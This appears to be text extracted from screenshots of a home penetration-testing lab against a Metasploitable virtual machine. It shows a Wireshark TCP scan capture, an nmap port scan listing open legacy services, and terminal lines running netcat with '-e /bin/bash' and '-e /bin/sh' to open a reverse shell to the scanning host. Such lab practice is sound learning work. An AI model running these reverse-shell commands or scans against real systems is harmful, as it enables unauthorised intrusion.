



File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help



Apply a display filter ... <Ctrl-/>

| No. | Time | Source | Destination | Protocol | Length | Info |
|------|--------------|---------------|---------------|----------|--------|--------------------------------|
| 1650 | 15.642018477 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 59330 → 273 [SYN] Seq=0 Win=32 |
| 1651 | 15.642021894 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 53676 → 840 [SYN] Seq=0 Win=32 |
| 1652 | 15.642025311 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 35016 → 146 [SYN] Seq=0 Win=32 |
| 1653 | 15.642025102 | 192.168.1.101 | 192.168.1.43 | TCP | 54 | 217 → 50276 [RST, ACK] Seq=1 |
| 1654 | 15.642025186 | 192.168.1.101 | 192.168.1.43 | TCP | 74 | 513 → 60364 [SYN, ACK] Seq=0 |
| 1655 | 15.642025186 | 192.168.1.101 | 192.168.1.43 | TCP | 54 | 904 → 44678 [RST, ACK] Seq=1 |
| 1656 | 15.642025227 | 192.168.1.101 | 192.168.1.43 | TCP | 54 | 45 → 55530 [RST, ACK] Seq=1 |
| 1657 | 15.642025269 | 192.168.1.101 | 192.168.1.43 | TCP | 54 | 331 → 46160 [RST, ACK] Seq=1 |
| 1658 | 15.642028102 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 34370 → 719 [SYN] Seq=0 Win=32 |
| 1659 | 15.642029394 | 192.168.1.43 | 192.168.1.101 | TCP | 66 | 60364 → 513 [ACK] Seq=1 Ack=1 |
| 1660 | 15.642031144 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 35946 → 289 [SYN] Seq=0 Win=32 |
| 1661 | 15.642034311 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 35470 → 133 [SYN] Seq=0 Win=32 |
| 1662 | 15.642036978 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 51836 → 987 [SYN] Seq=0 Win=32 |
| 1663 | 15.642047603 | 192.168.1.101 | 192.168.1.43 | TCP | 54 | 8 → 51774 [RST, ACK] Seq=1 |
| 1664 | 15.642047769 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 58370 → 720 [SYN] Seq=0 Win=32 |
| 1665 | 15.642050894 | 192.168.1.43 | 192.168.1.101 | TCP | 74 | 57994 → 427 [SYN] Seq=0 Win=32 |

Frame 1659: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface eth0
Ethernet II, Src: ea:f0:2f:00:11:3a (ea:f0:2f:00:11:3a), Dst: 08:00:27:00:00:00 (08:00:27:00:00:00)
Internet Protocol Version 4, Src: 192.168.1.43, Dst: 192.168.1.101
Transmission Control Protocol, Src Port: 60364, Dst Port: 513, Seq: 60364, Win: 0, Len: 0

File Actions Edit View Help

```
$ sudo nmap -sT 192.168.1.101 -p 1-1024
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 11:21 PDT
Nmap scan report for 192.168.1.101 (192.168.1.101)
Host is up (0.0011s latency).
Not shown: 1012 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
MAC Address: 7A:DD:4F:0C:8C:EB (Unknown)
```

Metasploitable

```
msfadmin@metasploitable:~$ nc 192.168.1.43 1234 -e/bin/bash
(UNKNOWN) [192.168.1.43] 1234 (?): Connection refused
msfadmin@metasploitable:~$ nc 192.168.1.43 1234 -e/bin/sh
msfadmin@metasploitable:~$ 
msfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 7a:dd:4f:0c:8c:eb
      inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0
      inet6 addr: fe80::78dd:4fff:fe0c:8ceb/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:8588 errors:0 dropped:0 overruns:0 frame:0
      TX packets:1536 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:700044 (683.6 KB) TX bytes:224370 (219.1 KB)
      Base address:0xc000 Memory:febc0000-febe0000

lo: Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:16436 Metric:1
      RX packets:1710 errors:0 dropped:0 overruns:0 frame:0
      TX packets:1710 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:813509 (794.4 KB) TX bytes:813509 (794.4 KB)

msfadmin@metasploitable:~$
```

Transmission Control Protocol (tcp), 32 byte(s)

CY RECORDS

Screenshot
2024-0...19.52.33

test sabato

Screen Recording
2024-0...20.05.34

Screenshot
2024-0....06.08

Screen Recording
2024-0...20.00.57

Screen Recording
2024-0...t 19.18.41